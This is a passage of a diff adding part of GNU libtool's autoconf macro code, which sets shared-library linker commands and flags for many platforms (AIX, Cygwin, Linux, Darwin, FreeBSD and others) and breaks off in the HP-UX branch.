+  _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
+  _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
+  _LT_AC_TAGVAR(thread_safe_flag_spec, $1)=
+  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
+  _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+  _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
+  _LT_AC_TAGVAR(hardcode_direct, $1)=no
+  _LT_AC_TAGVAR(hardcode_minus_L, $1)=no
+  _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+  _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
+  _LT_AC_TAGVAR(hardcode_automatic, $1)=no
+  _LT_AC_TAGVAR(module_cmds, $1)=
+  _LT_AC_TAGVAR(module_expsym_cmds, $1)=
+  _LT_AC_TAGVAR(always_export_symbols, $1)=no
+  _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  # include_expsyms should be a list of space-separated symbols to be *always*
+  # included in the symbol list
+  _LT_AC_TAGVAR(include_expsyms, $1)=
+  # exclude_expsyms can be an extended regexp of symbols to exclude
+  # it will be wrapped by ` (' and `)$', so one must not match beginning or
+  # end of line.  Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
+  # as well as any symbol that contains `d'.
+  _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_"
+  # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
+  # platforms (ab)use it in PIC code, but their linkers get confused if
+  # the symbol is explicitly referenced.  Since portable code cannot
+  # rely on this symbol name, it's probably fine to never include it in
+  # preloaded symbol tables.
+  extract_expsyms_cmds=
+  # Just being paranoid about ensuring that cc_basename is set.
+  _LT_CC_BASENAME([$compiler])
+  case $host_os in
+  cygwin* | mingw* | pw32*)
+    # FIXME: the MSVC++ port hasn't been tested in a loooong time
+    # When not using gcc, we currently assume that we are using
+    # Microsoft Visual C++.
+    if test "$GCC" != yes; then
+      with_gnu_ld=no
+    fi
+    ;;
+  interix*)
+    # we just hope/assume this is gcc and not c89 (= MSVC++)
+    with_gnu_ld=yes
+    ;;
+  openbsd*)
+    with_gnu_ld=no
+    ;;
+  esac
+
+  _LT_AC_TAGVAR(ld_shlibs, $1)=yes
+  if test "$with_gnu_ld" = yes; then
+    # If archive_cmds runs LD, not CC, wlarc should be empty
+    wlarc='${wl}'
+
+    # Set some defaults for GNU ld with shared library support. These
+    # are reset later if shared libraries are not supported. Putting them
+    # here allows them to be overridden if necessary.
+    runpath_var=LD_RUN_PATH
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
+    _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+    # ancient GNU ld didn't support --whole-archive et. al.
+    if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
+	_LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+      else
+  	_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
+    fi
+    supports_anon_versioning=no
+    case `$LD -v 2>/dev/null` in
+      *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11
+      *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
+      *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
+      *\ 2.11.*) ;; # other 2.11 versions
+      *) supports_anon_versioning=yes ;;
+    esac
+
+    # See if GNU ld supports shared libraries.
+    case $host_os in
+    aix3* | aix4* | aix5*)
+      # On AIX/PPC, the GNU linker is very broken
+      if test "$host_cpu" != ia64; then
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	cat <<EOF 1>&2
+
+*** Warning: the GNU linker, at least up to release 2.9.1, is reported
+*** to be unable to reliably create shared libraries on AIX.
+*** Therefore, libtool is disabling shared libraries support.  If you
+*** really care for shared libraries, you may want to modify your PATH
+*** so that a non-GNU linker is found, and then restart.
+
+EOF
+      fi
+      ;;
+
+    amigaos*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+
+      # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
+      # that the semantics of dynamic libraries on AmigaOS, at least up
+      # to version 4, is to share data among multiple programs linked
+      # with the same dynamic library.  Since this doesn't match the
+      # behavior of shared libraries on other platforms, we can't use
+      # them.
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+      ;;
+
+    beos*)
+      if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+	# Joseph Beckenbach <jrb3@best.com> says some releases of gcc
+	# support --undefined.  This deserves some investigation.  FIXME
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+      else
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    cygwin* | mingw* | pw32*)
+      # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
+      # as there is no search path for DLLs.
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+      _LT_AC_TAGVAR(always_export_symbols, $1)=no
+      _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+      _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
+
+      if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
+        _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+	# If the export-symbols file already is a .def file (1st line
+	# is EXPORTS), use it as is; otherwise, prepend...
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+	  cp $export_symbols $output_objdir/$soname.def;
+	else
+	  echo EXPORTS > $output_objdir/$soname.def;
+	  cat $export_symbols >> $output_objdir/$soname.def;
+	fi~
+	$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+      else
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    interix3*)
+      _LT_AC_TAGVAR(hardcode_direct, $1)=no
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
+      # Instead, shared libraries are loaded at an image base (0x10000000 by
+      # default) and relocated if they conflict, which is a slow very memory
+      # consuming and fragmenting process.  To avoid this, we pick a random,
+      # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
+      # time.  Moving up from 0x10000000 also allows more sbrk(2) space.
+      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+      _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+      ;;
+
+    linux* | k*bsd*-gnu)
+      if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
+	tmp_addflag=
+	case $cc_basename,$host_cpu in
+	pgcc*)				# Portland Group C compiler
+	  _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
+	  tmp_addflag=' $pic_flag'
+	  ;;
+	pgf77* | pgf90* | pgf95*)	# Portland Group f77 and f90 compilers
+	  _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
+	  tmp_addflag=' $pic_flag -Mnomain' ;;
+	ecc*,ia64* | icc*,ia64*)		# Intel C compiler on ia64
+	  tmp_addflag=' -i_dynamic' ;;
+	efc*,ia64* | ifort*,ia64*)	# Intel Fortran compiler on ia64
+	  tmp_addflag=' -i_dynamic -nofor_main' ;;
+	ifc* | ifort*)			# Intel Fortran compiler
+	  tmp_addflag=' -nofor_main' ;;
+	esac
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+
+	if test $supports_anon_versioning = yes; then
+	  _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~
+  cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+  $echo "local: *; };" >> $output_objdir/$libname.ver~
+	  $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
+	fi
+	_LT_AC_TAGVAR(link_all_deplibs, $1)=no
+      else
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    netbsd* | netbsdelf*-gnu)
+      if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+	wlarc=
+      else
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      fi
+      ;;
+
+    solaris*)
+      if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	cat <<EOF 1>&2
+
+*** Warning: The releases 2.8.* of the GNU linker cannot reliably
+*** create shared libraries on Solaris systems.  Therefore, libtool
+*** is disabling shared libraries support.  We urge you to upgrade GNU
+*** binutils to release 2.9.1 or newer.  Another option is to modify
+*** your PATH or compiler configuration so that the native linker is
+*** used, and then restart.
+
+EOF
+      elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      else
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+
+    sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
+      case `$LD -v 2>&1` in
+        *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*) 
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
+*** reliably create shared libraries on SCO systems.  Therefore, libtool
+*** is disabling shared libraries support.  We urge you to upgrade GNU
+*** binutils to release 2.16.91.0.3 or newer.  Another option is to modify
+*** your PATH or compiler configuration so that the native linker is
+*** used, and then restart.
+
+_LT_EOF
+	;;
+	*)
+	  if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
+	    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
+	    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
+	    _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
+	  else
+	    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+	  fi
+	;;
+      esac
+      ;;
+
+    sunos4*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+      wlarc=
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    *)
+      if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      else
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+    esac
+
+    if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no; then
+      runpath_var=
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
+      _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
+    fi
+  else
+    # PORTME fill in a description of your system's linker (not GNU ld)
+    case $host_os in
+    aix3*)
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+      _LT_AC_TAGVAR(always_export_symbols, $1)=yes
+      _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
+      # Note: this linker hardcodes the directories in LIBPATH if there
+      # are no directories specified by -L.
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
+	# Neither direct hardcoding nor static linking is supported with a
+	# broken collect2.
+	_LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
+      fi
+      ;;
+
+    aix4* | aix5*)
+      if test "$host_cpu" = ia64; then
+	# On IA64, the linker does run time linking by default, so we don't
+	# have to do anything special.
+	aix_use_runtimelinking=no
+	exp_sym_flag='-Bexport'
+	no_entry_flag=""
+      else
+	# If we're using GNU nm, then we don't want the "-C" option.
+	# -C means demangle to AIX nm, but means don't demangle with GNU nm
+	if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
+	  _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
+	else
+	  _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
+	fi
+	aix_use_runtimelinking=no
+
+	# Test if we are trying to use run time linking or normal
+	# AIX style linking. If -brtl is somewhere in LDFLAGS, we
+	# need to do runtime linking.
+	case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
+	  for ld_flag in $LDFLAGS; do
+  	  if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
+  	    aix_use_runtimelinking=yes
+  	    break
+  	  fi
+	  done
+	  ;;
+	esac
+
+	exp_sym_flag='-bexport'
+	no_entry_flag='-bnoentry'
+      fi
+
+      # When large executables or shared objects are built, AIX ld can
+      # have problems creating the table of contents.  If linking a library
+      # or program results in "error TOC overflow" add -mminimal-toc to
+      # CXXFLAGS/CFLAGS for g++/gcc.  In the cases where that is not
+      # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
+
+      _LT_AC_TAGVAR(archive_cmds, $1)=''
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
+      _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+
+      if test "$GCC" = yes; then
+	case $host_os in aix4.[[012]]|aix4.[[012]].*)
+	# We only want to do this on AIX 4.2 and lower, the check
+	# below for broken collect2 doesn't work under 4.3+
+	  collect2name=`${CC} -print-prog-name=collect2`
+	  if test -f "$collect2name" && \
+  	   strings "$collect2name" | grep resolve_lib_name >/dev/null
+	  then
+  	  # We have reworked collect2
+  	  _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+	  else
+  	  # We have old collect2
+  	  _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
+  	  # It fails to find uninstalled libraries when the uninstalled
+  	  # path is not listed in the libpath.  Setting hardcode_minus_L
+  	  # to unsupported forces relinking
+  	  _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+  	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+  	  _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
+	  fi
+	  ;;
+	esac
+	shared_flag='-shared'
+	if test "$aix_use_runtimelinking" = yes; then
+	  shared_flag="$shared_flag "'${wl}-G'
+	fi
+      else
+	# not using gcc
+	if test "$host_cpu" = ia64; then
+  	# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
+  	# chokes on -Wl,-G. The following line is correct:
+	  shared_flag='-G'
+	else
+	  if test "$aix_use_runtimelinking" = yes; then
+	    shared_flag='${wl}-G'
+	  else
+	    shared_flag='${wl}-bM:SRE'
+	  fi
+	fi
+      fi
+
+      # It seems that -bexpall does not export symbols beginning with
+      # underscore (_), so it is better to generate a list of symbols to export.
+      _LT_AC_TAGVAR(always_export_symbols, $1)=yes
+      if test "$aix_use_runtimelinking" = yes; then
+	# Warning - without using the other runtime loading flags (-brtl),
+	# -berok will link without error, but may produce a broken library.
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok'
+       # Determine the default libpath from the value encoded in an empty executable.
+       _LT_AC_SYS_LIBPATH_AIX
+       _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+       else
+	if test "$host_cpu" = ia64; then
+	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
+	  _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
+	  _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
+	else
+	 # Determine the default libpath from the value encoded in an empty executable.
+	 _LT_AC_SYS_LIBPATH_AIX
+	 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+	  # Warning - without using the other run time loading flags,
+	  # -berok will link without error, but may produce a broken library.
+	  _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
+	  _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
+	  # Exported symbols can be pulled into shared objects from archives
+	  _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
+	  _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
+	  # This is similar to how AIX traditionally builds its shared libraries.
+	  _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
+	fi
+      fi
+      ;;
+
+    amigaos*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      # see comment about different semantics on the GNU ld section
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+      ;;
+
+    bsdi[[45]]*)
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic
+      ;;
+
+    cygwin* | mingw* | pw32*)
+      # When not using gcc, we currently assume that we are using
+      # Microsoft Visual C++.
+      # hardcode_libdir_flag_spec is actually meaningless, as there is
+      # no search path for DLLs.
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+      # Tell ltmain to make .lib files, not .a files.
+      libext=lib
+      # Tell ltmain to make .dll files, not .so files.
+      shrext_cmds=".dll"
+      # FIXME: Setting linknames here is a bad hack.
+      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
+      # The linker will automatically build a .lib file if we build a DLL.
+      _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true'
+      # FIXME: Should let the user specify the lib program.
+      _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs'
+      _LT_AC_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
+      _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+      ;;
+
+    darwin* | rhapsody*)
+      case $host_os in
+        rhapsody* | darwin1.[[012]])
+         _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
+         ;;
+       *) # Darwin 1.3 on
+         if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
+           _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+         else
+           case ${MACOSX_DEPLOYMENT_TARGET} in
+             10.[[012]])
+               _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+               ;;
+             10.*)
+               _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
+               ;;
+           esac
+         fi
+         ;;
+      esac
+      _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_AC_TAGVAR(hardcode_direct, $1)=no
+      _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+      _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
+      _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+    if test "$GCC" = yes ; then
+    	output_verbose_link_cmd='echo'
+        _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+      _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+      # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
+      _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+      _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+    else
+      case $cc_basename in
+        xlc*)
+         output_verbose_link_cmd='echo'
+         _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
+         _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+          # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
+         _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+          _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+          ;;
+       *)
+         _LT_AC_TAGVAR(ld_shlibs, $1)=no
+          ;;
+      esac
+    fi
+      ;;
+
+    dgux*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    freebsd1*)
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+      ;;
+
+    # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
+    # support.  Future versions do this automatically, but an explicit c++rt0.o
+    # does not break anything, and helps significantly (at the cost of a little
+    # extra space).
+    freebsd2.2*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    # Unfortunately, older versions of FreeBSD 2 do not have this feature.
+    freebsd2*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+    freebsd* | dragonfly*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+
+    hpux9*)
+      if test "$GCC" = yes; then
+	_LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      else
